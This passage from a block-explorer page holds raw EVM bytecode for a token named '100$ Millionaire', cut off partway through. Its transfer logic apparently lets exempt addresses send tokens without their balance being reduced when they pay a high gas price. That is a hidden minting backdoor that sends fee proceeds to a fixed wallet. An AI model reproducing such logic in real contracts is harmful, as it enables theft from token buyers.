b91508282048414831517620007095762000708620004da565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007428262000715565b9050919050565b620007548162000735565b81146200076057600080fd5b50565b600081519050620007748162000749565b92915050565b60006020828403121562000793576200079262000710565b5b6000620007a38482850162000763565b91505092915050565b620007b78162000735565b82525050565b6000604082019050620007d46000830185620007ac565b620007e36020830184620007ac565b9392505050565b620007f5816200065d565b82525050565b6000602082019050620008126000830184620007ea565b92915050565b61255680620008286000396000f3fe6080604052600436106101235760003560e01c80636bc87c3a116100a057806395d89b411161006457806395d89b41146103fa578063a457c2d714610425578063a9059cbb14610462578063dd62ed3e1461049f578063f2fde38b146104dc5761012a565b80636bc87c3a146103255780636c0a24eb1461035057806370a082311461037b578063715018a6146103b85780638da5cb5b146103cf5761012a565b806323b872dd116100e757806323b872dd14610218578063313ce56714610255578063395093511461028057806349bd5a5e146102bd5780635342acb4146102e85761012a565b806306fdde031461012f578063095ea7b31461015a5780631694505e1461019757806318160ddd146101c257806322976e0d146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610505565b60405161015191906118d0565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061198b565b610542565b60405161018e91906119e6565b60405180910390f35b3480156101a357600080fd5b506101ac610560565b6040516101b99190611a60565b60405180910390f35b3480156101ce57600080fd5b506101d7610586565b6040516101e49190611a8a565b60405180910390f35b3480156101f957600080fd5b50610202610590565b60405161020f9190611a8a565b60405180910390f35b34801561022457600080fd5b5061023f600480360381019061023a9190611aa5565b610596565b60405161024c91906119e6565b60405180910390f35b34801561026157600080fd5b5061026a61064e565b6040516102779190611b14565b60405180910390f35b34801561028c57600080fd5b506102a760048036038101906102a2919061198b565b610657565b6040516102b491906119e6565b60405180910390f35b3480156102c957600080fd5b506102d2610703565b6040516102df9190611b3e565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611b59565b610729565b60405161031c91906119e6565b60405180910390f35b34801561033157600080fd5b5061033a61077f565b6040516103479190611a8a565b60405180910390f35b34801561035c57600080fd5b50610365610785565b6040516103729190611a8a565b60405180910390f35b34801561038757600080fd5b506103a2600480360381019061039d9190611b59565b61078b565b6040516103af9190611a8a565b60405180910390f35b3480156103c457600080fd5b506103cd6107d4565b005b3480156103db57600080fd5b506103e4610927565b6040516103f19190611b3e565b60405180910390f35b34801561040657600080fd5b5061040f610950565b60405161041c91906118d0565b60405180910390f35b34801561043157600080fd5b5061044c6004803603810190610447919061198b565b61098d565b60405161045991906119e6565b60405180910390f35b34801561046e57600080fd5b506104896004803603810190610484919061198b565b610a39565b60405161049691906119e6565b60405180910390f35b3480156104ab57600080fd5b506104c660048036038101906104c19190611b86565b610a57565b6040516104d39190611a8a565b60405180910390f35b3480156104e857600080fd5b5061050360048036038101906104fe9190611b59565b610ade565b005b60606040518060400160405280601081526020017f31303024204d696c6c696f6e6169726500000000000000000000000000000000815250905090565b600061055661054f610c9f565b8484610ca7565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600654905090565b60085481565b60006105a3848484610e70565b610643846105af610c9f565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f9610c9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461063e9190611bf5565b610ca7565b600190509392505050565b60006008905090565b60006106f9610664610c9f565b848460046000610672610c9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106f49190611c29565b610ca7565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60095481565b60075481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107dc610c9f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090611ca9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f243130304d000000000000000000000000000000000000000000000000000000815250905090565b6000610a2f61099a610c9f565b8484600460006109a8610c9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a2a9190611bf5565b610ca7565b6001905092915050565b6000610a4d610a46610c9f565b8484610e70565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ae6610c9f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6a90611ca9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd990611d3b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d90611dcd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7c90611e5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e639190611a8a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690611ef1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4590611f83565b60405180910390fd5b60008111610f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8890612015565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156110355750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561108f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156110ed57600754816110a18461078b565b6110ab9190611c29565b11156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e3906120a7565b60405180910390fd5b5b6008600a6110fb91906121fa565b600a6111079190612245565b6111103061078b565b1015801561112b5750600a60009054906101000a900460ff16155b80156111855750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156111d8576001600a60006101000a81548160ff02191690831515021790555060006111b03061078b565b90506111bb81611452565b6000600a60006101000a81548160ff021916908315150217905550505b600064174876e8009050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661127757803a1115611276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126d906122ad565b60405180910390fd5b5b803a116112d55781600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112cd9190611bf5565b925050819055505b6000829050600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561137e5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113905761138d83866114c8565b90505b80600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113df9190611c29565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114439190611a8a565b60405180910390a35050505050565b600061145d826115f7565b905060008111156114c4577330a02a58b43271fe0887d954e0af9975e1da7a6b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114c2573d6000803e3d6000fd5b505b5050565b6000806064600854856114db9190612245565b6114e591906122fc565b905060006064600954866114f99190612245565b61150391906122fc565b905080826115119190611c29565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461155f9190611c29565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83856115c19190611c29565b6040516115ce9190611a8a565b60405180910390a38082866115e39190611bf5565b6115ed9190611bf5565b9250505092915050565b600080600267ffffffffffffffff8111156116155761161461232d565b5b6040519080825280602002602001820160405280156116435781602001602082028036833780820191505090505b509050308160008151811061165b5761165a61235c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611702573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061172691906123a0565b8160018151811061173a5761173961235c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117a130600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610ca7565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b81526004016118059594939291906124c6565b600060405180830381600087803b15801561181f57600080fd5b505af1158015611833573d6000803e3d6000fd5b5050505047915050919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561187a57808201518184015260208101905061185f565b60008484015250505050565b6000601f19601f8301169050919050565b60006118a282611840565b6118ac818561184b565b93506118bc81856020860161185c565b6118c581611886565b840191505092915050565b600060208201905081810360008301526118ea8184611897565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611922826118f7565b9050919050565b61193281611917565b811461193d57600080fd5b50565b60008135905061194f81611929565b92915050565b6000819050919050565b61196881611955565b811461197357600080fd5b50565b6000813590506119858161195f565b92915050565b600080604083850312156119a2576119a16118f2565b5b60006119b085828601611940565b92505060206119c185828601611976565b9150509250929050565b60008115159050919050565b6119e0816119cb565b82525050565b60006020820190506119fb60008301846119d7565b92915050565b6000819050919050565b6000611a26611a21611a1c846118f7565b611a01565b6118f7565b9050919050565b6000611a3882611a0b565b9050919050565b6000611a4a82611a2d565b9050919050565b611a5a81611a3f565b82525050565b6000602082019050611a756000830184611a51565b92915050565b611a8481611955565b82525050565b6000602082019050611a9f6000830184611a7b565b92915050565b600080600060608486031215611abe57611abd6118f2565b5b6000611acc86828701611940565b9350506020611add86828701611940565b9250506040611aee86828701611976565b9150509250925092565b600060ff82169050919050565b611b0e81611af8565b82525050565b6000602082019050611b296000830184611b05565b92915050565b611b3881611917565b82525050565b6000602082019050611b536000830184611b2f565b92915050565b600060208284031215611b6f57611b6e6118f2565b5b6000611b7d84828501611940565b91505092915050565b60008060408385031215611b9d57611b9c6118f2565b5b6000611bab85828601611940565b9250506020611bbc85828601611940565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c0082611955565b9150611c0b83611955565b9250828203905081811115611c2357611c22611bc6565b5b92915050565b6000611c3482611955565b9150611c3f83611955565b9250828201905080821115611c5757611c56611bc6565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611c9360208361184b565b9150611c9e82611c5d565b602082019050919050565b60006020820190508181036000830152611cc281611c86565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611d2560268361184b565b9150611d3082611cc9565b604082019050919050565b60006020820190508181036000830152611d5481611d18565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611db760248361184b565b9150611dc282611d5b565b604082019050919050565b60006020820190508181036000830152611de681611daa565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e4960228361184b565b9150611e5482611ded565b604082019050919050565b60006020820190508181036000830152611e7881611e3c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611edb60258361184b565b9150611ee682611e7f565b604082019050919050565b60006020820190508181036000830152611f0a81611ece565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f6d60238361184b565b9150611f7882611f11565b604082019050919050565b60006020820190508181036000830152611f9c81611f60565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611fff60298361184b565b915061200a82611fa3565b604082019050919050565b6000602082019050818103600083015261202e81611ff2565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61782060008201527f77616c6c6574206c696d69742e00000000000000000000000000000000000000602082015250565b6000612091602d8361184b565b915061209c82612035565b604082019050919050565b600060208201905081810360008301526120c081612084565b9050919050565b60008160011c9050919050565b6000808291508390505b600185111561211e578086048111156120fa576120f9611bc6565b5b60018516156121095780820291505b8081029050612117856120c7565b94506120de565b94509492505050565b60008261213757600190506121f3565b8161214557600090506121f3565b816001811461215b576002811461216557612194565b60019150506121f3565b60ff84111561217757612176611bc6565b5b8360020a91508482111561218e5761218d611bc6565b5b506121f3565b5060208310610133831016604e8410600b84101617156121c95782820a9050838111156121c4576121c3611bc6565b5b6121f3565b6121d684848460016120d4565b925090508184048111156121ed576121ec611bc6565b5b81810290505b9392505050565b600061220582611955565b915061221083611af8565b925061223d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612127565b905092915050565b600061225082611955565b915061225b83611955565b925082820261226981611955565b915082820484148315176122805761227f611bc6565b5b5092915050565b50565b600061229760008361184b565b91506122a282612287565b600082019050919050565b600060208201905081810360008301526122c68161228a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061230782611955565b915061231283611955565b925082612322576123216122cd565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061239a81611929565b92915050565b6000602082840312156123b6576123b56118f2565b5b60006123c48482850161238b565b91505092915050565b6000819050919050565b60006123f26123ed6123e8846123cd565b611a01565b611955565b9050919050565b612402816123d7565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61243d81611917565b82525050565b600061244f8383612434565b60208301905092915050565b6000602082019050919050565b600061247382612408565b61247d8185612413565b935061248883612424565b8060005b838110156124b95781516124a08882612443565b97506124ab8361245b565b92505060018101905061248c565b5085935050505092915050565b600060a0820190506124db6000830188611a7b565b6124e860208301876123f9565b81810360408301526124fa8186612468565b90506125096060830185611b2f565b6125166080830184611a7b565b969550505050505056fea2646970667358221220338c51448b0ddabbfbccb47c05da30c1795d27a339f7467b9f708aff33b5a58d64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101235760003560e01c80636bc87c3a116100a057806395d89b411161006457806395d89b41146103fa578063a457c2d714610425578063a9059cbb14610462578063dd62ed3e1461049f578063f2fde38b146104dc5761012a565b80636bc87c3a146103255780636c0a24eb1461035057806370a082311461037b578063715018a6146103b85780638da5cb5b146103cf5761012a565b806323b872dd116100e757806323b872dd14610218578063313ce56714610255578063395093511461028057806349bd5a5e146102bd5780635342acb4146102e85761012a565b806306fdde031461012f578063095ea7b31461015a5780631694505e1461019757806318160ddd146101c257806322976e0d146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610505565b60405161015191906118d0565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061198b565b610542565b60405161018e91906119e6565b60405180910390f35b3480156101a357600080fd5b506101ac610560565b6040516101b99190611a60565b60405180910390f35b3480156101ce57600080fd5b506101d7610586565b6040516101e49190611a8a565b60405180910390f35b3480156101f957600080fd5b50610202610590565b60405161020f9190611a8a565b60405180910390f35b34801561022457600080fd5b5061023f600480360381019061023a9190611aa5565b610596565b60405161024c91906119e6565b60405180910390f35b34801561026157600080fd5b5061026a61064e565b6040516102779190611b14565b60405180910390f35b34801561028c57600080fd5b506102a760048036038101906102a2919061198b565b610657565b6040516102b491906119e6565b60405180910390f35b3480156102c957600080fd5b506102d2610703565b6040516102df9190611b3e565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611b59565b610729565b60405161031c91906119e6565b60405180910390f35b34801561033157600080fd5b5061033a61077f565b6040516103479190611a8a565b60405180910390f35b34801561035c57600080fd5b50610365610785565b6040516103729190611a8a565b60405180910390f35b34801561038757600080fd5b506103a2600480360381019061039d9190611b59565b61078b565b6040516103af9190611a8a565b60405180910390f35b3480156103c457600080fd5b506103cd6107d4565b005b3480156103db57600080fd5b506103e4610927565b6040516103f19190611b3e565b60405180910390f35b34801561040657600080fd5b5061040f610950565b60405161041c91906118d0565b60405180910390f35b34801561043157600080fd5b5061044c6004803603810190610447919061198b565b61098d565b60405161045991906119e6565b60405180910390f35b34801561046e57600080fd5b506104896004803603810190610484919061198b565b610a39565b60405161049691906119e6565b60405180910390f35b3480156104ab57600080fd5b506104c660048036038101906104c19190611b86565b610a57565b6040516104d39190611a8a565b60405180910390f35b3480156104e857600080fd5b5061050360048036038101906104fe9190611b59565b610ade565b005b60606040518060400160405280601081526020017f31303024204d696c6c696f6e6169726500000000000000000000000000000000815250905090565b600061055661054f610c9f565b8484610ca7565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600654905090565b60085481565b60006105a3848484610e70565b610643846105af610c9f565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f9610c9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461063e9190611bf5565b610ca7565b600190509392505050565b60006008905090565b60006106f9610664610c9f565b848460046000610672610c9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106f49190611c29565b610ca7565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60095481565b60075481565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107dc610c9f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090611ca9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f243130304d000000000000000000000000000000000000000000000000000000815250905090565b6000610a2f61099a610c9f565b8484600460006109a8610c9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610a2a9190611bf5565b610ca7565b6001905092915050565b6000610a4d610a46610c9f565b8484610e70565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ae6610c9f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6a90611ca9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd990611d3b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d90611dcd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7c90611e5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e639190611a8a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690611ef1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4590611f83565b60405180910390fd5b60008111610f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8890612015565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156110355750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561108f5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156110ed57600754816110a18461078b565b6110ab9190611c29565b11156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e3906120a7565b60405180910390fd5b5b6008600a6110fb91906121fa565b600a6111079190612245565b6111103061078b565b1015801561112b5750600a60009054906101000a900460ff16155b80156111855750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156111d8576001600a60006101000a81548160ff02191690831515021790555060006111b03061078b565b90506111bb81611452565b6000600a60006101000a81548160ff021916908315150217905550505b600064174876e8009050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661127757803a1115611276576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126d906122ad565b60405180910390fd5b5b803a116112d55781600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112cd9190611bf5565b925050819055505b6000829050600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561137e5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113905761138d83866114c8565b90505b80600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113df9190611c29565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114439190611a8a565b60405180910390a35050505050565b600061145d826115f7565b905060008111156114c4577330a02a58b43271fe0887d954e0af9975e1da7a6b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156114c2573d6000803e3d6000fd5b505b5050565b6000806064600854856114db9190612245565b6114e591906122fc565b905060006064600954866114f99190612245565b61150391906122fc565b905080826115119190611c29565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461155f9190611c29565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83856115c19190611c29565b6040516115ce9190611a8a565b60405180910390a38082866115e39190611bf5565b6115ed9190611bf5565b9250505092915050565b600080600267ffffffffffffffff8111156116155761161461232d565b5b6040519080825280602002602001820160405280156116435781602001602082028036833780820191505090505b509050308160008151811061165b5761165a61235c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611702573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061172691906123a0565b8160018151811061173a5761173961235c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117a130600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610ca7565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b81526004016118059594939291906124c6565b600060405180830381600087803b15801561181f57600080fd5b505af1158015611833573d6000803e3d6000fd5b5050505047915050919050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561187a57808201518184015260208101905061185f565b60008484015250505050565b6000601f19601f8301169050919050565b60006118a282611840565b6118ac818561184b565b93506118bc81856020860161185c565b6118c581611886565b840191505092915050565b600060208201905081810360008301526118ea8184611897565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611922826118f7565b9050919050565b61193281611917565b811461193d57600080fd5b50565b60008135905061194f81611929565b92915050565b6000819050919050565b61196881611955565b811461197357600080fd5b50565b6000813590506119858161195f565b92915050565b600080604083850312156119a2576119a16118f2565b5b60006119b085828601611940565b92505060206119c185828601611976565b9150509250929050565b60008115159050919050565b6119e0816119cb565b82525050565b600